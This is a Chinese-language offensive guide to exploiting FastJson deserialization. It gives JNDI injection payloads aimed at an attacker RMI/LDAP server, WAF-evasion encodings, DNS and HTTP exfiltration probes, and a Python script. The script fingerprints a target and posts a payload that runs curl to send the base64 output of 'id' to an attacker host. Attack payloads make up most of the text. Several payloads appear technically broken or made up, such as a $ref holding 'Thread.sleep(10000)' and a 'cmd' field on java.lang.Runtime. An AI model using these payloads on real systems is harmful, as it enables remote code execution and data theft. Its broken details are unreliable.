FastJson反序列化漏洞深度利用:版本识别、JNDI注入与WAF对抗策略
靶场环境构建与组件指纹识别
针对FastJson安全测试,推荐采用FastJsonParty容器化方案快速部署多版本测试矩阵。该方案内置1.2.47、1.2.68、1.2.80等关键版本,覆盖JNDI注入、autoType绕过、WAF拦截等典型业务场景。
黑盒场景下的版本判定可结合主动探测与被动识别两种思路。主动层面,构造畸形JSON结构触发解析异常,捕获特征栈信息:
{
"test": {
"@type": "java.lang.AutoCloseable",
"x": {
"$ref": "http://collaborator.oastify.com"
}
}
}
被动层面则关注响应头中的Server字段、异常信息中的包路径特征(如com.alibaba.fastjson),以及特定版本的行为差异——1.2.47之前对checkAutoType的校验逻辑与后续版本存在本质区别。
JNDI注入链构造与JDK版本适配
确认反序列化入口后,需根据目标JDK版本选择对应的利用链。对于JDK 8u191以下环境,com.sun.rowset.JdbcRowSetImpl仍是稳定的选择:
{
"user": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://evil.server:1099/ExecPayload",
"autoCommit": true
}
}
高版本JDK引入com.sun.jndi.rmi.object.trustURLCodebase等限制后,需转向本地Gadget利用。借助org.apache.naming.factory.BeanFactory配合EL表达式解析的方案可有效突破:
{
"x": {
"@type": "javax.naming.InitialContext",
"x": {
"$ref": "$.x"
}
}
}
攻击服务端推荐采用JNDI-Injection-Bypass或自行搭建基于Reference的恶意RMI/LDAP服务,根据目标环境动态返回对应的Factory类字节码。
基于FastJson语法特性的WAF逃逸技术
生产环境中的WAF规则多基于正则匹配或语义分析,针对@type、jdbc、ldap等关键字设防。FastJson解析器本身支持多种非标准JSON扩展语法,为绕过提供了空间。
Unicode编码变形:对关键字段名进行Unicode转义,解析器可正常识别而多数WAF规则难以覆盖:
{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Runtime",
"\u0063\u006d\u0064": "whoami"
}
多行字符串与注释注入:利用FastJson对/* */注释的支持,在关键字间插入干扰片段:
{
"@type"/*_*/: "java.lang.Class",
"val"/*_*/: "java.lang.Runtime"
}
数组索引与嵌套引用:通过$ref指针构造间接引用,规避直接出现危险类名:
[
{
"@type": "java.lang.Class",
"val": "java.lang.Runtime"
},
{
"@type": "java.lang.Class",
"val": "java.lang.ProcessBuilder"
},
{
"$ref": "$[0].val"
}
]
十六进制与八进制编码:针对需要传递的恶意URL或命令字符串,采用编码转换:
{
"@type": "java.net.URL",
"val": "\u006c\u0064\u0061\u0070://\u0061\u0074\u0074\u0061\u0063\u006b\u0065\u0072/\u0078"
}
无回显场景下的外带与盲注策略
目标无回显时,需建立侧信道完成漏洞验证与利用确认。DNS外带是最轻量的探测手段:
{
"dns": {
"@type": "java.net.InetAddress",
"val": "probe-uuid.ceye.io"
}
}
更进一步的利用可通过java.net.URL或java.net.URI发起HTTP请求,将命令执行结果编码后外带至可控服务器。对于内网受限环境,结合Time-Based逻辑判断命令执行状态:
{
"delay": {
"@type": "java.lang.Thread",
"x": {
"$ref": "java.lang.Thread.sleep(10000)"
}
}
}
容器化靶场的自动化利用框架
为提升测试效率,可将上述技术点整合为自动化检测脚本。以下Python片段演示基于版本探测结果动态选择利用链的核心逻辑:
import requests
import json
def probe_version(target):
probes = [
{"payload": '{"a":{"@type":"java.lang.Class","val":"java.lang.Runtime"}}', "ver": "<1.2.47"},
{"payload": '{"@type":"java.lang.AutoCloseable"}', "ver": "1.2.68+"},
]
for p in probes:
r = requests.post(target, data=p["payload"], headers={"Content-Type": "application/json"})
if "fastjson" in r.text.lower():
return p["ver"]
return "unknown"
def build_exploit(version, jndi_server):
chains = {
"legacy": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": jndi_server,
"autoCommit": True
},
"bypass": {
"@type": "org.apache.naming.factory.BeanFactory",
"forceString": "x=eval",
"x": f"Runtime.getRuntime().exec('curl {jndi_server}/?c=$(id|base64)')",
}
}
return json.dumps(chains.get("legacy" if version == "<1.2.47" else "bypass"))
# 调用示例
target_url = "http://vuln.app:8080/api/parse"
detected = probe_version(target_url)
exploit = build_exploit(detected, "ldap://attacker:1389/obj")
requests.post(target_url, data=exploit, headers={"Content-Type": "application/json"})
该框架可根据目标指纹动态切换Payload编码方式(原始/Unicode/注释混淆),并集成DNSLog接口实现自动化漏洞确认。